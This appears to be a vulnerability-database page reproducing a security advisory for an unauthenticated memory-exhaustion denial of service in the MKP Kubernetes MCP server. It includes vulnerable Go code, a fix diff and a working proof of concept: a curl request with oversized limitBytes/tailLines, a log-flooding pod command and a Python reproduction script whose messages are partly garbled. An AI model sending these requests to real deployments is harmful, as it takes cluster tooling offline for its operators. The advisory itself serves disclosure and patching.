MKP Server CVE-2026-50125
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Default endpoint is network-facing and unauthenticated with a single trivial request (AV:N/AC:L/PR:N/UI:N); impact is availability-only OOM DoS with no confidentiality or integrity effect and no scope change.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Unbounded Pod Log Read via Attacker-Controlled limitBytes/tailLines Causes Memory Exhaustion
Summary
The MKP (Model Context Protocol for Kubernetes) server exposes a get_resource MCP tool that proxies Kubernetes pod log requests. User-supplied limitBytes and tailLines parameters are parsed as unbounded int64 values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory bytes.Buffer using io.Copy without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted tools/call request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with limitBytes=134217728.
Details
The vulnerability exists in pkg/k8s/subresource.go in the buildPodLogOpts() and defaultGetPodLogs() functions.
Source - unbounded parameter parsing (pkg/k8s/subresource.go:171-181):
// pkg/k8s/subresource.go
defaultLimitBytes := int64(32 * 1024) // 32 KB - only used when parameters map is nil
...
if limitBytes, ok := parameters["limitBytes"]; ok {
if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
podLogOpts.LimitBytes = &b // no upper-bound check
}
}
if tailLines, ok := parameters["tailLines"]; ok {
if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
podLogOpts.TailLines = &lines // no upper-bound check
}
}When the parameters map is non-nil (always true for attacker-supplied input), buildPodLogOpts() is called at pkg/k8s/subresource.go:94-96 and overwrites the 32 KB default entirely. The attacker can therefore supply any positive int64 value (up to 2147483647 or 9223372036854775807) as limitBytes.
Sink - unbounded in-memory copy (pkg/k8s/subresource.go:114-115):
buf := new(bytes.Buffer)
_, err = io.Copy(buf, podLogs) // entire Kubernetes stream copied into RAMThe stream from Kubernetes is read without limit into a heap-allocated bytes.Buffer. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).
Attack path (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | cmd/server/main.go:30 | Server binds to :8080 on all interfaces; no authentication by default |
| 2 | pkg/mcp/server.go:131 | NewGetResourceTool() registered unconditionally (no --read-write required) |
| 3 | pkg/mcp/get_resource.go:28-38 | Attacker-controlled parameters map parsed from CallToolRequest |
| 4 | pkg/mcp/get_resource.go:76 | client.GetResource(..., parameters) called |
| 5 | pkg/k8s/subresource.go:32-33 | resource=pods + subresource=logs routes into getPodLogs |
| 6 | pkg/k8s/subresource.go:171-181 | limitBytes / tailLines parsed without upper bound (source) |
| 7 | pkg/k8s/subresource.go:114-115 | io.Copy(buf, podLogs) loads full stream into bytes.Buffer (sink) |
The rate limiter (pkg/ratelimit/config.go:16-17) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.
Suggested remediation:
+const (
+ maxPodLogTailLines int64 = 1000
+ maxPodLogLimitBytes int64 = 1024 * 1024 // 1 MB hard cap
+)
+
buf := new(bytes.Buffer)
-_, err = io.Copy(buf, podLogs)
+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}
+_, err = io.Copy(buf, limitedLogs)
+if limitedLogs.N == 0 {
+ return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes)
+}
if limitBytes, ok := parameters["limitBytes"]; ok {
if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
+ if b <= 0 || b > maxPodLogLimitBytes {
+ b = maxPodLogLimitBytes
+ }
podLogOpts.LimitBytes = &b
}
}
if tailLines, ok := parameters["tailLines"]; ok {
if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
+ if lines <= 0 || lines > maxPodLogTailLines {
+ lines = maxPodLogTailLines
+ }
podLogOpts.TailLines = &lines
}
}PoC
Prerequisites
- Docker (for self-contained reproduction)
- A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)
- MKP server accessible on port 8080
---
Option A - Self-contained Docker reproduction (Phase 2 method)
This method uses a mock Kubernetes API that streams 128 MB of log data:
# 1. Clone the repository and enter it
git clone https://github.com/StacklokLabs/mkp.git
cd mkp
# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)
docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
# 3. Run the exploit container - output includes RSS measurements
docker run --rm mkp-vuln-001Expected output (condensed):
Initial RSS: 26464 kB ( 25.8 MB)
t+01s: MKP RSS = 383080 kB ( 374.1 MB) [in-progress]
t+02s: MKP RSS = 683876 kB ( 667.8 MB) [in-progress]
t+03s: MKP RSS = 945008 kB ( 922.9 MB) [in-progress]
t+06s: MKP RSS = 1207560 kB (1179.3 MB) [in-progress]
Peak RSS: 1207572 kB (1179.3 MB)
Delta RSS: 1181108 kB (1153.4 MB)
VERDICT: CONFIRMED - RSS grew 1153.4 MB (limitBytes=128 MB)---
Option B - Real Kubernetes environment (manual)
# 1. Build and start MKP server (default transport: streamable-http on :8080)
git clone https://github.com/StacklokLabs/mkp.git && cd mkp
task build
./build/mkp-server --kubeconfig=/path/to/kubeconfig
# 2. Create a pod that generates large logs
kubectl -n default run logbomb --image=busybox --restart=Never -- \
sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
# Wait ~30 seconds for logs to accumulate, then:
# 3. Send the exploit request
curl -sS http://127.0.0.1:8080/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
--data '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "get_resource",
"arguments": {
"resource_type": "namespaced",
"group": "",
"version": "v1",
"resource": "pods",
"namespace": "default",
"name": "logbomb",
"subresource": "logs",
"parameters": {
"tailLines": "999999999",
"limitBytes": "2147483647"
}
}
}
}'Expected observation: MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.
Impact
This is an unauthenticated remote Denial of Service (DoS) vulnerability affecting any deployment of MKP server accessible over the network.
Who is impacted:
- Any operator running
mkp-serverin its default configuration (no--read-writeflag required;get_resourceis registered by default on:8080without authentication). - Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g.,
kube-systemworkloads in production clusters almost always satisfy this condition). - Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.
A single tools/call request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with limitBytes=2147483647 (~2 GB) will exhaust memory before any subsequent requests are needed.
No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.
Reproduction artifacts
Dockerfile
# ── Stage 1: Build mkp-server ─────────────────────────────────────────────────
FROM golang:1.25 AS builder
# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain
# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.
ENV GOTOOLCHAIN=local
ENV CGO_ENABLED=0
WORKDIR /src
# Copy the source tree (build con = parent of vuln-001/)
COPY repo/ .
RUN go build -o /mkp-server ./cmd/server
# ── Stage 2: Runtime ─────────────────────────────────────────────────────────
FROM python:3.12-slim
RUN apt-get update && \
apt-get install -y --no-install-recommends procps curl && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /mkp-server /usr/local/bin/mkp-server
COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py
COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml
COPY vuln-001/exploit.py /workspace/exploit.py
COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh
RUN chmod +x /workspace/entrypoint.sh
CMD ["/workspace/entrypoint.sh"]poc.py
#!/usr/bin/env python3
"""
VULN-001 Dynamic Reproduction Orchestrator.
Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
Run : docker run --rm mkp-vuln-001
Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single
tools/call request with limitBytes=134217728 (128 MB), proving that
defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.
"""
import json
import os
import re
import subprocess
import sys
from pathlib import Path
WORK_DIR = Path(__file__).parent.resolve()
REPO_ROOT = WORK_DIR.parent
IMAGE = "mkp-vuln-001"
BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ."
RUN_CMD = f"docker run --rm {IMAGE}"
# ─────────────────────────────────────────────────────────────────────────────
def run_streaming(cmd: str, cwd=None) -> tuple[int, str]:
"""Run a shell command, stream its output, and return (rc, full_output)."""
proc = subprocess.Popen(
cmd, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
text=True, cwd=cwd,
)
lines = []
for line in proc.stdout:
print(line, end='', flush=True)
lines.append(line)
proc.wait()
return proc.returncode, ''.join(lines)
def save_result(result: dict):
path = WORK_DIR / 'phase2_result.json'
with open(path, 'w', encoding='utf-8') as f:
json.dump(result, f, ensure_ascii=False, indent=2)
print(f"\n[poc] Result saved → {path}")
def parse_evidence(output: str) -> dict:
ev: dict = {}
m = re.search(r'Initial RSS\s*:\s*(\d+)', output)
if m:
ev['initial_kb'] = int(m.group(1))
ev['initial_mb'] = ev['initial_kb'] / 1024
m = re.search(r'Peak RSS\s*:\s*(\d+)', output)
if m:
ev['peak_kb'] = int(m.group(1))
ev['peak_mb'] = ev['peak_kb'] / 1024
m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output)
if m:
ev['delta_kb'] = int(m.group(1))
ev['delta_mb'] = float(m.group(2))
elif 'peak_kb' in ev and 'initial_kb' in ev:
ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']
ev['delta_mb'] = ev['delta_kb'] / 1024
m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output)
if m:
ev['verdict_line'] = m.group(0)
return ev
def extract_evidence_block(output: str) -> str:
"""Return the EVIDENCE SUMMARY block, or the last 3000 chars."""
m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)
if m:
return m.group(0)[:3000]
return output[-3000:]
# ─────────────────────────────────────────────────────────────────────────────
def main():
print("=" * 60)
print("VULN-001: Unbounded Pod Log Read - Dynamic Reproduction")
print("=" * 60)
os.chdir(REPO_ROOT)
# ── Docker build ──────────────────────────────────────────────────────────
print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n")
rc, build_output = run_streaming(BUILD_CMD)
if rc != 0:
reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}"
save_result({
"passed": False,
"verdict": "FAIL",
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": "python3 vuln-001/poc.py",
"evidence": build_output[-2000:],
"artifacts": ["Dockerfile", "poc.py"],
})
print(f"\n[poc] FAIL: {reason}")
return False
print("\n[poc] Build OK.")
# ── Docker run ────────────────────────────────────────────────────────────
print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n")
rc, run_output = run_streaming(f"{RUN_CMD} 2>&1")
print(f"\n[poc] Container exited (code={rc})")
ev = parse_evidence(run_output)
delta_mb = ev.get('delta_mb', 0.0)
print(f"[poc] Parsed evidence: {ev}")
# ── Verdict ───────────────────────────────────────────────────────────────
passed = delta_mb >= 50.0
if passed:
verdict = "PASS"
init_mb = ev.get('initial_mb', 0)
peak_mb = ev.get('peak_mb', 0)
reason = (
f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. "
f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters "
f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text "
f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed."
)
else:
verdict = "INCOMPLETE"
reason = (
f"RSS text {delta_mb:.1f} MB - 50 MB criteria text. "
f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, "
f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}"
)
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": "python3 vuln-001/poc.py",
"evidence": extract_evidence_block(run_output),
"artifacts": ["Dockerfile", "poc.py"],
}
save_result(result)
print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}")
return passed
if __name__ == '__main__':
ok = main()
sys.exit(0 if ok else 1)Articles & Coverage 2
AnalysisAI
Unauthenticated remote denial of service in StacklokLabs MKP (Model Context Protocol for Kubernetes) server versions before 0.4.1 lets a single crafted tools/call request against the default :8080 endpoint exhaust process memory. The get_resource tool accepts attacker-controlled limitBytes/tailLines values with no upper bound and streams the entire Kubernetes pod-log response into an in-memory bytes.Buffer, driving an OOM kill (dynamic reproduction grew RSS from 25.8 MB to 1,179.3 MB on one request). Publicly available exploit code exists in the GitHub Security Advisory; there is no public evidence of active exploitation.
Technical ContextAI
MKP is a Go-based Model Context Protocol server that bridges MCP clients to a Kubernetes cluster, exposing a get_resource tool that proxies API calls including the pod logs subresource. The root cause is CWE-400 (Uncontrolled Resource Consumption): in pkg/k8s/subresource.go, buildPodLogOpts() parses the user-supplied limitBytes and tailLines strings with strconv.ParseInt(..., 64) into int64 pointers on PodLogOptions with no maximum validation, and defaultGetPodLogs() then performs io.Copy(buf, podLogs) into a heap bytes.Buffer with no application-side cap. The 32 KB default (defaultLimitBytes) applies only when the parameters map is nil, which is never the case for attacker input, so the attacker fully controls how much of the Kubernetes log stream is buffered. Because subsequent JSON serialization and MCP response wrapping duplicate the buffer, observed RSS growth was roughly 9× the raw log size. The affected component is identified by CPE/purl pkg:go/github.com/StacklokLabs/mkp.
RemediationAI
Vendor-released patch: upgrade MKP to version 0.4.1 or later, which introduces hard caps on pod-log reads (per the advisory's suggested fix: a 1 MB maxPodLogLimitBytes and 1000-line maxPodLogTailLines, an io.LimitedReader around the io.Copy, and clamping of out-of-range limitBytes/tailLines values). If immediate patching is not possible, do not expose the MKP endpoint on 0.0.0.0:8080; bind it to localhost or place it behind a reverse proxy/authenticating gateway and restrict network access to the /mcp endpoint via firewall or Kubernetes NetworkPolicy so only trusted MCP clients can reach it - the trade-off is that any legitimate remote client must now traverse the added auth/proxy layer. Note that the built-in rate limiter (120 req/min) is not a viable mitigation because it caps request frequency but not per-request data volume, so a single request still exhausts memory. Where feasible, run mkp-server under a memory-limited cgroup/container limit so an OOM kill is contained and the process can be restarted, accepting that this converts memory exhaustion into a controlled restart rather than preventing the DoS. Reference: GHSA-qw5r-ppcg-f8rj.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-qw5r-ppcg-f8rj